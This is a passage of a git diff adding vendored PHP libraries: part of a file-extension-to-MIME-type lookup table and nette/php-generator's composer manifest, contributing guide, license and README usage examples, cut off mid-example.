'application/vnd.palm', + 'org' => 'text/x-org', + 'osf' => 'application/vnd.yamaha.openscoreformat', + 'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml', + 'osm' => 'application/vnd.openstreetmap.data+xml', + 'otc' => 'application/vnd.oasis.opendocument.chart-template', + 'otf' => 'font/otf', + 'otg' => 'application/vnd.oasis.opendocument.graphics-template', + 'oth' => 'application/vnd.oasis.opendocument.text-web', + 'oti' => 'application/vnd.oasis.opendocument.image-template', + 'otp' => 'application/vnd.oasis.opendocument.presentation-template', + 'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template', + 'ott' => 'application/vnd.oasis.opendocument.text-template', + 'ova' => 'application/x-virtualbox-ova', + 'ovf' => 'application/x-virtualbox-ovf', + 'owl' => 'application/rdf+xml', + 'oxps' => 'application/oxps', + 'oxt' => 'application/vnd.openofficeorg.extension', + 'p' => 'text/x-pascal', + 'p7a' => 'application/x-pkcs7-signature', + 'p7b' => 'application/x-pkcs7-certificates', + 'p7c' => 'application/pkcs7-mime', + 'p7m' => 'application/pkcs7-mime', + 'p7r' => 'application/x-pkcs7-certreqresp', + 'p7s' => 'application/pkcs7-signature', + 'p8' => 'application/pkcs8', + 'p10' => 'application/x-pkcs10', + 'p12' => 'application/x-pkcs12', + 'pac' => 'application/x-ns-proxy-autoconfig', + 'pages' => 'application/vnd.apple.pages', + 'pas' => 'text/x-pascal', + 'paw' => 'application/vnd.pawaafile', + 'pbd' => 'application/vnd.powerbuilder6', + 'pbm' => 'image/x-portable-bitmap', + 'pcap' => 'application/vnd.tcpdump.pcap', + 'pcf' => 'application/x-font-pcf', + 'pcl' => 'application/vnd.hp-pcl', + 'pclxl' => 'application/vnd.hp-pclxl', + 'pct' => 'image/x-pict', + 'pcurl' => 'application/vnd.curl.pcurl', + 'pcx' => 'image/x-pcx', + 'pdb' => 'application/x-pilot', + 'pde' => 'text/x-processing', + 'pdf' => 'application/pdf', + 'pem' => 'application/x-x509-user-cert', + 'pfa' => 'application/x-font-type1', + 'pfb' => 'application/x-font-type1', + 'pfm' => 'application/x-font-type1', + 'pfr' => 'application/font-tdpfr', + 'pfx' => 'application/x-pkcs12', + 'pgm' => 'image/x-portable-graymap', + 'pgn' => 'application/x-chess-pgn', + 'pgp' => 'application/pgp', + 'php' => 'application/x-httpd-php', + 'php3' => 'application/x-httpd-php', + 'php4' => 'application/x-httpd-php', + 'phps' => 'application/x-httpd-php-source', + 'phtml' => 'application/x-httpd-php', + 'pic' => 'image/x-pict', + 'pkg' => 'application/octet-stream', + 'pki' => 'application/pkixcmp', + 'pkipath' => 'application/pkix-pkipath', + 'pkpass' => 'application/vnd.apple.pkpass', + 'pl' => 'application/x-perl', + 'plb' => 'application/vnd.3gpp.pic-bw-large', + 'plc' => 'application/vnd.mobius.plc', + 'plf' => 'application/vnd.pocketlearn', + 'pls' => 'application/pls+xml', + 'pm' => 'application/x-perl', + 'pml' => 'application/vnd.ctc-posml', + 'png' => 'image/png', + 'pnm' => 'image/x-portable-anymap', + 'portpkg' => 'application/vnd.macports.portpkg', + 'pot' => 'application/vnd.ms-powerpoint', + 'potm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', + 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', + 'ppa' => 'application/vnd.ms-powerpoint', + 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', + 'ppd' => 'application/vnd.cups-ppd', + 'ppm' => 'image/x-portable-pixmap', + 'pps' => 'application/vnd.ms-powerpoint', + 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', + 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', + 'ppt' => 'application/powerpoint', + 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'pqa' => 'application/vnd.palm', + 'prc' => 'application/x-pilot', + 'pre' => 'application/vnd.lotus-freelance', + 'prf' => 'application/pics-rules', + 'provx' => 'application/provenance+xml', + 'ps' => 'application/postscript', + 'psb' => 'application/vnd.3gpp.pic-bw-small', + 'psd' => 'application/x-photoshop', + 'psf' => 'application/x-font-linux-psf', + 'pskcxml' => 'application/pskc+xml', + 'pti' => 'image/prs.pti', + 'ptid' => 'application/vnd.pvi.ptid1', + 'pub' => 'application/x-mspublisher', + 'pvb' => 'application/vnd.3gpp.pic-bw-var', + 'pwn' => 'application/vnd.3m.post-it-notes', + 'pya' => 'audio/vnd.ms-playready.media.pya', + 'pyv' => 'video/vnd.ms-playready.media.pyv', + 'qam' => 'application/vnd.epson.quickanime', + 'qbo' => 'application/vnd.intu.qbo', + 'qfx' => 'application/vnd.intu.qfx', + 'qps' => 'application/vnd.publishare-delta-tree', + 'qt' => 'video/quicktime', + 'qwd' => 'application/vnd.quark.quarkxpress', + 'qwt' => 'application/vnd.quark.quarkxpress', + 'qxb' => 'application/vnd.quark.quarkxpress', + 'qxd' => 'application/vnd.quark.quarkxpress', + 'qxl' => 'application/vnd.quark.quarkxpress', + 'qxt' => 'application/vnd.quark.quarkxpress', + 'ra' => 'audio/x-realaudio', + 'ram' => 'audio/x-pn-realaudio', + 'raml' => 'application/raml+yaml', + 'rapd' => 'application/route-apd+xml', + 'rar' => 'application/x-rar', + 'ras' => 'image/x-cmu-raster', + 'rcprofile' => 'application/vnd.ipunplugged.rcprofile', + 'rdf' => 'application/rdf+xml', + 'rdz' => 'application/vnd.data-vision.rdz', + 'relo' => 'application/p2p-overlay+xml', + 'rep' => 'application/vnd.businessobjects', + 'res' => 'application/x-dtbresource+xml', + 'rgb' => 'image/x-rgb', + 'rif' => 'application/reginfo+xml', + 'rip' => 'audio/vnd.rip', + 'ris' => 'application/x-research-info-systems', + 'rl' => 'application/resource-lists+xml', + 'rlc' => 'image/vnd.fujixerox.edmics-rlc', + 'rld' => 'application/resource-lists-diff+xml', + 'rm' => 'audio/x-pn-realaudio', + 'rmi' => 'audio/midi', + 'rmp' => 'audio/x-pn-realaudio-plugin', + 'rms' => 'application/vnd.jcp.javame.midlet-rms', + 'rmvb' => 'application/vnd.rn-realmedia-vbr', + 'rnc' => 'application/relax-ng-compact-syntax', + 'rng' => 'application/xml', + 'roa' => 'application/rpki-roa', + 'roff' => 'text/troff', + 'rp9' => 'application/vnd.cloanto.rp9', + 'rpm' => 'audio/x-pn-realaudio-plugin', + 'rpss' => 'application/vnd.nokia.radio-presets', + 'rpst' => 'application/vnd.nokia.radio-preset', + 'rq' => 'application/sparql-query', + 'rs' => 'application/rls-services+xml', + 'rsa' => 'application/x-pkcs7', + 'rsat' => 'application/atsc-rsat+xml', + 'rsd' => 'application/rsd+xml', + 'rsheet' => 'application/urc-ressheet+xml', + 'rss' => 'application/rss+xml', + 'rtf' => 'text/rtf', + 'rtx' => 'text/richtext', + 'run' => 'application/x-makeself', + 'rusd' => 'application/route-usd+xml', + 'rv' => 'video/vnd.rn-realvideo', + 's' => 'text/x-asm', + 's3m' => 'audio/s3m', + 'saf' => 'application/vnd.yamaha.smaf-audio', + 'sass' => 'text/x-sass', + 'sbml' => 'application/sbml+xml', + 'sc' => 'application/vnd.ibm.secure-container', + 'scd' => 'application/x-msschedule', + 'scm' => 'application/vnd.lotus-screencam', + 'scq' => 'application/scvp-cv-request', + 'scs' => 'application/scvp-cv-response', + 'scss' => 'text/x-scss', + 'scurl' => 'text/vnd.curl.scurl', + 'sda' => 'application/vnd.stardivision.draw', + 'sdc' => 'application/vnd.stardivision.calc', + 'sdd' => 'application/vnd.stardivision.impress', + 'sdkd' => 'application/vnd.solent.sdkm+xml', + 'sdkm' => 'application/vnd.solent.sdkm+xml', + 'sdp' => 'application/sdp', + 'sdw' => 'application/vnd.stardivision.writer', + 'sea' => 'application/octet-stream', + 'see' => 'application/vnd.seemail', + 'seed' => 'application/vnd.fdsn.seed', + 'sema' => 'application/vnd.sema', + 'semd' => 'application/vnd.semd', + 'semf' => 'application/vnd.semf', + 'senmlx' => 'application/senml+xml', + 'sensmlx' => 'application/sensml+xml', + 'ser' => 'application/java-serialized-object', + 'setpay' => 'application/set-payment-initiation', + 'setreg' => 'application/set-registration-initiation', + 'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data', + 'sfs' => 'application/vnd.spotfire.sfs', + 'sfv' => 'text/x-sfv', + 'sgi' => 'image/sgi', + 'sgl' => 'application/vnd.stardivision.writer-global', + 'sgm' => 'text/sgml', + 'sgml' => 'text/sgml', + 'sh' => 'application/x-sh', + 'shar' => 'application/x-shar', + 'shex' => 'text/shex', + 'shf' => 'application/shf+xml', + 'shtml' => 'text/html', + 'sid' => 'image/x-mrsid-image', + 'sieve' => 'application/sieve', + 'sig' => 'application/pgp-signature', + 'sil' => 'audio/silk', + 'silo' => 'model/mesh', + 'sis' => 'application/vnd.symbian.install', + 'sisx' => 'application/vnd.symbian.install', + 'sit' => 'application/x-stuffit', + 'sitx' => 'application/x-stuffitx', + 'siv' => 'application/sieve', + 'skd' => 'application/vnd.koan', + 'skm' => 'application/vnd.koan', + 'skp' => 'application/vnd.koan', + 'skt' => 'application/vnd.koan', + 'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12', + 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', + 'slim' => 'text/slim', + 'slm' => 'text/slim', + 'sls' => 'application/route-s-tsid+xml', + 'slt' => 'application/vnd.epson.salt', + 'sm' => 'application/vnd.stepmania.stepchart', + 'smf' => 'application/vnd.stardivision.math', + 'smi' => 'application/smil', + 'smil' => 'application/smil', + 'smv' => 'video/x-smv', + 'smzip' => 'application/vnd.stepmania.package', + 'snd' => 'audio/basic', + 'snf' => 'application/x-font-snf', + 'so' => 'application/octet-stream', + 'spc' => 'application/x-pkcs7-certificates', + 'spdx' => 'text/spdx', + 'spf' => 'application/vnd.yamaha.smaf-phrase', + 'spl' => 'application/x-futuresplash', + 'spot' => 'text/vnd.in3d.spot', + 'spp' => 'application/scvp-vp-response', + 'spq' => 'application/scvp-vp-request', + 'spx' => 'audio/ogg', + 'sql' => 'application/x-sql', + 'src' => 'application/x-wais-source', + 'srt' => 'application/x-subrip', + 'sru' => 'application/sru+xml', + 'srx' => 'application/sparql-results+xml', + 'ssdl' => 'application/ssdl+xml', + 'sse' => 'application/vnd.kodak-descriptor', + 'ssf' => 'application/vnd.epson.ssf', + 'ssml' => 'application/ssml+xml', + 'sst' => 'application/octet-stream', + 'st' => 'application/vnd.sailingtracker.track', + 'stc' => 'application/vnd.sun.xml.calc.template', + 'std' => 'application/vnd.sun.xml.draw.template', + 'stf' => 'application/vnd.wt.stf', + 'sti' => 'application/vnd.sun.xml.impress.template', + 'stk' => 'application/hyperstudio', + 'stl' => 'model/stl', + 'str' => 'application/vnd.pg.format', + 'stw' => 'application/vnd.sun.xml.writer.template', + 'styl' => 'text/stylus', + 'stylus' => 'text/stylus', + 'sub' => 'text/vnd.dvb.subtitle', + 'sus' => 'application/vnd.sus-calendar', + 'susp' => 'application/vnd.sus-calendar', + 'sv4cpio' => 'application/x-sv4cpio', + 'sv4crc' => 'application/x-sv4crc', + 'svc' => 'application/vnd.dvb.service', + 'svd' => 'application/vnd.svd', + 'svg' => 'image/svg+xml', + 'svgz' => 'image/svg+xml', + 'swa' => 'application/x-director', + 'swf' => 'application/x-shockwave-flash', + 'swi' => 'application/vnd.aristanetworks.swi', + 'swidtag' => 'application/swid+xml', + 'sxc' => 'application/vnd.sun.xml.calc', + 'sxd' => 'application/vnd.sun.xml.draw', + 'sxg' => 'application/vnd.sun.xml.writer.global', + 'sxi' => 'application/vnd.sun.xml.impress', + 'sxm' => 'application/vnd.sun.xml.math', + 'sxw' => 'application/vnd.sun.xml.writer', + 't' => 'text/troff', + 't3' => 'application/x-t3vm-image', + 't38' => 'image/t38', + 'taglet' => 'application/vnd.mynfc', + 'tao' => 'application/vnd.tao.intent-module-archive', + 'tap' => 'image/vnd.tencent.tap', + 'tar' => 'application/x-tar', + 'tcap' => 'application/vnd.3gpp2.tcap', + 'tcl' => 'application/x-tcl', + 'td' => 'application/urc-targetdesc+xml', + 'teacher' => 'application/vnd.smart.teacher', + 'tei' => 'application/tei+xml', + 'teicorpus' => 'application/tei+xml', + 'tex' => 'application/x-tex', + 'texi' => 'application/x-texinfo', + 'texinfo' => 'application/x-texinfo', + 'text' => 'text/plain', + 'tfi' => 'application/thraud+xml', + 'tfm' => 'application/x-tex-tfm', + 'tfx' => 'image/tiff-fx', + 'tga' => 'image/x-tga', + 'tgz' => 'application/x-tar', + 'thmx' => 'application/vnd.ms-officetheme', + 'tif' => 'image/tiff', + 'tiff' => 'image/tiff', + 'tk' => 'application/x-tcl', + 'tmo' => 'application/vnd.tmobile-livetv', + 'toml' => 'application/toml', + 'torrent' => 'application/x-bittorrent', + 'tpl' => 'application/vnd.groove-tool-template', + 'tpt' => 'application/vnd.trid.tpt', + 'tr' => 'text/troff', + 'tra' => 'application/vnd.trueapp', + 'trm' => 'application/x-msterminal', + 'ts' => 'video/mp2t', + 'tsd' => 'application/timestamped-data', + 'tsv' => 'text/tab-separated-values', + 'ttc' => 'font/collection', + 'ttf' => 'font/ttf', + 'ttl' => 'text/turtle', + 'ttml' => 'application/ttml+xml', + 'twd' => 'application/vnd.simtech-mindmapper', + 'twds' => 'application/vnd.simtech-mindmapper', + 'txd' => 'application/vnd.genomatix.tuxedo', + 'txf' => 'application/vnd.mobius.txf', + 'txt' => 'text/plain', + 'u8dsn' => 'message/global-delivery-status', + 'u8hdr' => 'message/global-headers', + 'u8mdn' => 'message/global-disposition-notification', + 'u8msg' => 'message/global', + 'u32' => 'application/x-authorware-bin', + 'ubj' => 'application/ubjson', + 'udeb' => 'application/x-debian-package', + 'ufd' => 'application/vnd.ufdl', + 'ufdl' => 'application/vnd.ufdl', + 'ulx' => 'application/x-glulx', + 'umj' => 'application/vnd.umajin', + 'unityweb' => 'application/vnd.unity', + 'uoml' => 'application/vnd.uoml+xml', + 'uri' => 'text/uri-list', + 'uris' => 'text/uri-list', + 'urls' => 'text/uri-list', + 'usdz' => 'model/vnd.usdz+zip', + 'ustar' => 'application/x-ustar', + 'utz' => 'application/vnd.uiq.theme', + 'uu' => 'text/x-uuencode', + 'uva' => 'audio/vnd.dece.audio', + 'uvd' => 'application/vnd.dece.data', + 'uvf' => 'application/vnd.dece.data', + 'uvg' => 'image/vnd.dece.graphic', + 'uvh' => 'video/vnd.dece.hd', + 'uvi' => 'image/vnd.dece.graphic', + 'uvm' => 'video/vnd.dece.mobile', + 'uvp' => 'video/vnd.dece.pd', + 'uvs' => 'video/vnd.dece.sd', + 'uvt' => 'application/vnd.dece.ttml+xml', + 'uvu' => 'video/vnd.uvvu.mp4', + 'uvv' => 'video/vnd.dece.video', + 'uvva' => 'audio/vnd.dece.audio', + 'uvvd' => 'application/vnd.dece.data', + 'uvvf' => 'application/vnd.dece.data', + 'uvvg' => 'image/vnd.dece.graphic', + 'uvvh' => 'video/vnd.dece.hd', + 'uvvi' => 'image/vnd.dece.graphic', + 'uvvm' => 'video/vnd.dece.mobile', + 'uvvp' => 'video/vnd.dece.pd', + 'uvvs' => 'video/vnd.dece.sd', + 'uvvt' => 'application/vnd.dece.ttml+xml', + 'uvvu' => 'video/vnd.uvvu.mp4', + 'uvvv' => 'video/vnd.dece.video', + 'uvvx' => 'application/vnd.dece.unspecified', + 'uvvz' => 'application/vnd.dece.zip', + 'uvx' => 'application/vnd.dece.unspecified', + 'uvz' => 'application/vnd.dece.zip', + 'vbox' => 'application/x-virtualbox-vbox', + 'vbox-extpack' => 'application/x-virtualbox-vbox-extpack', + 'vcard' => 'text/vcard', + 'vcd' => 'application/x-cdlink', + 'vcf' => 'text/x-vcard', + 'vcg' => 'application/vnd.groove-vcard', + 'vcs' => 'text/x-vcalendar', + 'vcx' => 'application/vnd.vcx', + 'vdi' => 'application/x-virtualbox-vdi', + 'vhd' => 'application/x-virtualbox-vhd', + 'vis' => 'application/vnd.visionary', + 'viv' => 'video/vnd.vivo', + 'vlc' => 'application/videolan', + 'vmdk' => 'application/x-virtualbox-vmdk', + 'vob' => 'video/x-ms-vob', + 'vor' => 'application/vnd.stardivision.writer', + 'vox' => 'application/x-authorware-bin', + 'vrml' => 'model/vrml', + 'vsd' => 'application/vnd.visio', + 'vsf' => 'application/vnd.vsf', + 'vss' => 'application/vnd.visio', + 'vst' => 'application/vnd.visio', + 'vsw' => 'application/vnd.visio', + 'vtf' => 'image/vnd.valve.source.texture', + 'vtt' => 'text/vtt', + 'vtu' => 'model/vnd.vtu', + 'vxml' => 'application/voicexml+xml', + 'w3d' => 'application/x-director', + 'wad' => 'application/x-doom', + 'wadl' => 'application/vnd.sun.wadl+xml', + 'war' => 'application/java-archive', + 'wasm' => 'application/wasm', + 'wav' => 'audio/x-wav', + 'wax' => 'audio/x-ms-wax', + 'wbmp' => 'image/vnd.wap.wbmp', + 'wbs' => 'application/vnd.criticaltools.wbs+xml', + 'wbxml' => 'application/wbxml', + 'wcm' => 'application/vnd.ms-works', + 'wdb' => 'application/vnd.ms-works', + 'wdp' => 'image/vnd.ms-photo', + 'weba' => 'audio/webm', + 'webapp' => 'application/x-web-app-manifest+json', + 'webm' => 'video/webm', + 'webmanifest' => 'application/manifest+json', + 'webp' => 'image/webp', + 'wg' => 'application/vnd.pmi.widget', + 'wgt' => 'application/widget', + 'wks' => 'application/vnd.ms-works', + 'wm' => 'video/x-ms-wm', + 'wma' => 'audio/x-ms-wma', + 'wmd' => 'application/x-ms-wmd', + 'wmf' => 'image/wmf', + 'wml' => 'text/vnd.wap.wml', + 'wmlc' => 'application/wmlc', + 'wmls' => 'text/vnd.wap.wmlscript', + 'wmlsc' => 'application/vnd.wap.wmlscriptc', + 'wmv' => 'video/x-ms-wmv', + 'wmx' => 'video/x-ms-wmx', + 'wmz' => 'application/x-msmetafile', + 'woff' => 'font/woff', + 'woff2' => 'font/woff2', + 'word' => 'application/msword', + 'wpd' => 'application/vnd.wordperfect', + 'wpl' => 'application/vnd.ms-wpl', + 'wps' => 'application/vnd.ms-works', + 'wqd' => 'application/vnd.wqd', + 'wri' => 'application/x-mswrite', + 'wrl' => 'model/vrml', + 'wsc' => 'message/vnd.wfa.wsc', + 'wsdl' => 'application/wsdl+xml', + 'wspolicy' => 'application/wspolicy+xml', + 'wtb' => 'application/vnd.webturbo', + 'wvx' => 'video/x-ms-wvx', + 'x3d' => 'model/x3d+xml', + 'x3db' => 'model/x3d+fastinfoset', + 'x3dbz' => 'model/x3d+binary', + 'x3dv' => 'model/x3d-vrml', + 'x3dvz' => 'model/x3d+vrml', + 'x3dz' => 'model/x3d+xml', + 'x32' => 'application/x-authorware-bin', + 'x_b' => 'model/vnd.parasolid.transmit.binary', + 'x_t' => 'model/vnd.parasolid.transmit.text', + 'xaml' => 'application/xaml+xml', + 'xap' => 'application/x-silverlight-app', + 'xar' => 'application/vnd.xara', + 'xav' => 'application/xcap-att+xml', + 'xbap' => 'application/x-ms-xbap', + 'xbd' => 'application/vnd.fujixerox.docuworks.binder', + 'xbm' => 'image/x-xbitmap', + 'xca' => 'application/xcap-caps+xml', + 'xcs' => 'application/calendar+xml', + 'xdf' => 'application/xcap-diff+xml', + 'xdm' => 'application/vnd.syncml.dm+xml', + 'xdp' => 'application/vnd.adobe.xdp+xml', + 'xdssc' => 'application/dssc+xml', + 'xdw' => 'application/vnd.fujixerox.docuworks', + 'xel' => 'application/xcap-el+xml', + 'xenc' => 'application/xenc+xml', + 'xer' => 'application/xcap-error+xml', + 'xfdf' => 'application/vnd.adobe.xfdf', + 'xfdl' => 'application/vnd.xfdl', + 'xht' => 'application/xhtml+xml', + 'xhtml' => 'application/xhtml+xml', + 'xhvml' => 'application/xv+xml', + 'xif' => 'image/vnd.xiff', + 'xl' => 'application/excel', + 'xla' => 'application/vnd.ms-excel', + 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', + 'xlc' => 'application/vnd.ms-excel', + 'xlf' => 'application/xliff+xml', + 'xlm' => 'application/vnd.ms-excel', + 'xls' => 'application/vnd.ms-excel', + 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', + 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xlt' => 'application/vnd.ms-excel', + 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', + 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', + 'xlw' => 'application/vnd.ms-excel', + 'xm' => 'audio/xm', + 'xml' => 'application/xml', + 'xns' => 'application/xcap-ns+xml', + 'xo' => 'application/vnd.olpc-sugar', + 'xop' => 'application/xop+xml', + 'xpi' => 'application/x-xpinstall', + 'xpl' => 'application/xproc+xml', + 'xpm' => 'image/x-xpixmap', + 'xpr' => 'application/vnd.is-xpr', + 'xps' => 'application/vnd.ms-xpsdocument', + 'xpw' => 'application/vnd.intercon.formnet', + 'xpx' => 'application/vnd.intercon.formnet', + 'xsd' => 'application/xml', + 'xsl' => 'application/xml', + 'xslt' => 'application/xslt+xml', + 'xsm' => 'application/vnd.syncml+xml', + 'xspf' => 'application/xspf+xml', + 'xul' => 'application/vnd.mozilla.xul+xml', + 'xvm' => 'application/xv+xml', + 'xvml' => 'application/xv+xml', + 'xwd' => 'image/x-xwindowdump', + 'xyz' => 'chemical/x-xyz', + 'xz' => 'application/x-xz', + 'yaml' => 'text/yaml', + 'yang' => 'application/yang', + 'yin' => 'application/yin+xml', + 'yml' => 'text/yaml', + 'ymp' => 'text/x-suse-ymp', + 'z' => 'application/x-compress', + 'z1' => 'application/x-zmachine', + 'z2' => 'application/x-zmachine', + 'z3' => 'application/x-zmachine', + 'z4' => 'application/x-zmachine', + 'z5' => 'application/x-zmachine', + 'z6' => 'application/x-zmachine', + 'z7' => 'application/x-zmachine', + 'z8' => 'application/x-zmachine', + 'zaz' => 'application/vnd.zzazz.deck+xml', + 'zip' => 'application/x-zip', + 'zir' => 'application/vnd.zul', + 'zirz' => 'application/vnd.zul', + 'zmm' => 'application/vnd.handheld-entertainment+xml', + 'zsh' => 'text/x-scriptzsh', + ]; + + public function lookupMimeType(string $extension): ?string + { + return self::MIME_TYPES_FOR_EXTENSIONS[$extension] ?? null; + } +} diff --git a/vendor/league/mime-type-detection/src/MimeTypeDetector.php b/vendor/league/mime-type-detection/src/MimeTypeDetector.php new file mode 100644 index 0000000..5d799d2 --- /dev/null +++ b/vendor/league/mime-type-detection/src/MimeTypeDetector.php @@ -0,0 +1,19 @@ +=7.1", + "nette/utils": "^2.4.2 || ^3.0" + }, + "require-dev": { + "nette/tester": "^2.0", + "nikic/php-parser": "^4.4", + "tracy/tracy": "^2.3", + "phpstan/phpstan": "^0.12" + }, + "suggest": { + "nikic/php-parser": "to use ClassType::withBodiesFrom() & GlobalFunction::withBodyFrom()" + }, + "autoload": { + "classmap": ["src/"] + }, + "minimum-stability": "dev", + "scripts": { + "phpstan": "phpstan analyse --level 5 --configuration tests/phpstan.neon src", + "tester": "tester tests -s" + }, + "extra": { + "branch-alias": { + "dev-master": "3.4-dev" + } + } +} diff --git a/vendor/nette/php-generator/contributing.md b/vendor/nette/php-generator/contributing.md new file mode 100644 index 0000000..184152c --- /dev/null +++ b/vendor/nette/php-generator/contributing.md @@ -0,0 +1,33 @@ +How to contribute & use the issue tracker +========================================= + +Nette welcomes your contributions. There are several ways to help out: + +* Create an issue on GitHub, if you have found a bug +* Write test cases for open bug issues +* Write fixes for open bug/feature issues, preferably with test cases included +* Contribute to the [documentation](https://nette.org/en/writing) + +Issues +------ + +Please **do not use the issue tracker to ask questions**. We will be happy to help you +on [Nette forum](https://forum.nette.org) or chat with us on [Gitter](https://gitter.im/nette/nette). + +A good bug report shouldn't leave others needing to chase you up for more +information. Please try to be as detailed as possible in your report. + +**Feature requests** are welcome. But take a moment to find out whether your idea +fits with the scope and aims of the project. It's up to *you* to make a strong +case to convince the project's developers of the merits of this feature. + +Contributing +------------ + +If you'd like to contribute, please take a moment to read [the contributing guide](https://nette.org/en/contributing). + +The best way to propose a feature is to discuss your ideas on [Nette forum](https://forum.nette.org) before implementing them. + +Please do not fix whitespace, format code, or make a purely cosmetic patch. + +Thanks! :heart: diff --git a/vendor/nette/php-generator/license.md b/vendor/nette/php-generator/license.md new file mode 100644 index 0000000..cf741bd --- /dev/null +++ b/vendor/nette/php-generator/license.md @@ -0,0 +1,60 @@ +Licenses +======== + +Good news! You may use Nette Framework under the terms of either +the New BSD License or the GNU General Public License (GPL) version 2 or 3. + +The BSD License is recommended for most projects. It is easy to understand and it +places almost no restrictions on what you can do with the framework. If the GPL +fits better to your project, you can use the framework under this license. + +You don't have to notify anyone which license you are using. You can freely +use Nette Framework in commercial projects as long as the copyright header +remains intact. + +Please be advised that the name "Nette Framework" is a protected trademark and its +usage has some limitations. So please do not use word "Nette" in the name of your +project or top-level domain, and choose a name that stands on its own merits. +If your stuff is good, it will not take long to establish a reputation for yourselves. + + +New BSD License +--------------- + +Copyright (c) 2004, 2014 David Grudl (https://davidgrudl.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + + * Neither the name of "Nette Framework" nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +This software is provided by the copyright holders and contributors "as is" and +any express or implied warranties, including, but not limited to, the implied +warranties of merchantability and fitness for a particular purpose are +disclaimed. In no event shall the copyright owner or contributors be liable for +any direct, indirect, incidental, special, exemplary, or consequential damages +(including, but not limited to, procurement of substitute goods or services; +loss of use, data, or profits; or business interruption) however caused and on +any theory of liability, whether in contract, strict liability, or tort +(including negligence or otherwise) arising in any way out of the use of this +software, even if advised of the possibility of such damage. + + +GNU General Public License +-------------------------- + +GPL licenses are very very long, so instead of including them here we offer +you URLs with full text: + +- [GPL version 2](http://www.gnu.org/licenses/gpl-2.0.html) +- [GPL version 3](http://www.gnu.org/licenses/gpl-3.0.html) diff --git a/vendor/nette/php-generator/readme.md b/vendor/nette/php-generator/readme.md new file mode 100644 index 0000000..524fe2f --- /dev/null +++ b/vendor/nette/php-generator/readme.md @@ -0,0 +1,578 @@ +Nette PHP Generator +=================== + +[![Downloads this Month](https://img.shields.io/packagist/dm/nette/php-generator.svg)](https://packagist.org/packages/nette/php-generator) +[![Build Status](https://travis-ci.org/nette/php-generator.svg?branch=master)](https://travis-ci.org/nette/php-generator) +[![Coverage Status](https://coveralls.io/repos/github/nette/php-generator/badge.svg?branch=master&v=1)](https://coveralls.io/github/nette/php-generator?branch=master) +[![Latest Stable Version](https://poser.pugx.org/nette/php-generator/v/stable)](https://github.com/nette/php-generator/releases) +[![License](https://img.shields.io/badge/license-New%20BSD-blue.svg)](https://github.com/nette/php-generator/blob/master/license.md) + + +Introduction +------------ + +Generate PHP code, classes, namespaces etc. with a simple programmatical API. + +Documentation can be found on the [website](https://doc.nette.org/php-generator). + +If you like Nette, **[please make a donation now](https://nette.org/donate)**. Thank you! + + +Installation +------------ + +The recommended way to install is via Composer: + +``` +composer require nette/php-generator +``` + +- PhpGenerator 3.2 – 3.4 is compatible with PHP 7.1 to 7.4 +- PhpGenerator 3.1 is compatible with PHP 7.1 to 7.3 +- PhpGenerator 3.0 is compatible with PHP 7.0 to 7.3 +- PhpGenerator 2.6 is compatible with PHP 5.6 to 7.3 + + +Usage +----- + +Usage is very easy. Let's start with a straightforward example of generating class: + +```php +$class = new Nette\PhpGenerator\ClassType('Demo'); + +$class + ->setFinal() + ->setExtends(ParentClass::class) + ->addImplement(Countable::class) + ->addTrait(Nette\SmartObject::class) + ->addComment("Description of class.\nSecond line\n") + ->addComment('@property-read Nette\Forms\Form $form'); + +// to generate PHP code simply cast to string or use echo: +echo $class; + +// or use printer: +$printer = new Nette\PhpGenerator\Printer; +echo $printer->printClass($class); +``` + +It will render this result: + +```php +/** + * Description of class. + * Second line + * + * @property-read Nette\Forms\Form $form + */ +final class Demo extends ParentClass implements Countable +{ + use Nette\SmartObject; +} +``` + +We can add constants and properties: + +```php +$class->addConstant('ID', 123); + +$class->addProperty('items', [1, 2, 3]) + ->setPrivate() + ->setStatic() + ->addComment('@var int[]'); +``` + +It generates: + +```php +const ID = 123; + +/** @var int[] */ +private static $items = [1, 2, 3]; +``` + +And we can add methods with parameters: + +```php +$method = $class->addMethod('count') + ->addComment('Count it.') + ->addComment('@return int') + ->setFinal() + ->setProtected() + ->setBody('return count($items ?: $this->items);'); + +$method->addParameter('items', []) // $items = [] + ->setReference() // &$items = [] + ->setType('array'); // array &$items = [] +``` + +It results in: + +```php +/** + * Count it. + * @return int + */ +final protected function count(array &$items = []) +{ + return count($items ?: $this->items); +} +``` + +If the property, constant, method or parameter already exist, it will be overwritten. + +Members can be removed using `removeProperty()`, `removeConstant()`, `removeMethod()` or `removeParameter()`. + +PHP Generator supports all new PHP 7.3 and 7.4 features: + +```php +use Nette\PhpGenerator\Type; + +$class = new Nette\PhpGenerator\ClassType('Demo'); + +$class->addConstant('ID', 123) + ->setPrivate(); // constant visiblity + +$class->addProperty('items') + ->setType(Type::ARRAY) // typed properites + ->setNullable() + ->setInitialized(); + +$method = $class->addMethod('getValue') + ->setReturnType(Type::INT) // method return type + ->setReturnNullable() // nullable return type + ->setBody('return count($this->items);'); + +$method->addParameter('id') + ->setType(Type::ARRAY) // scalar type hint + ->setNullable(); // nullable type hint + +echo $class; +``` + +Result: + +```php +class Demo +{ + private const ID = 123; + + public ?array $items = null; + + public function 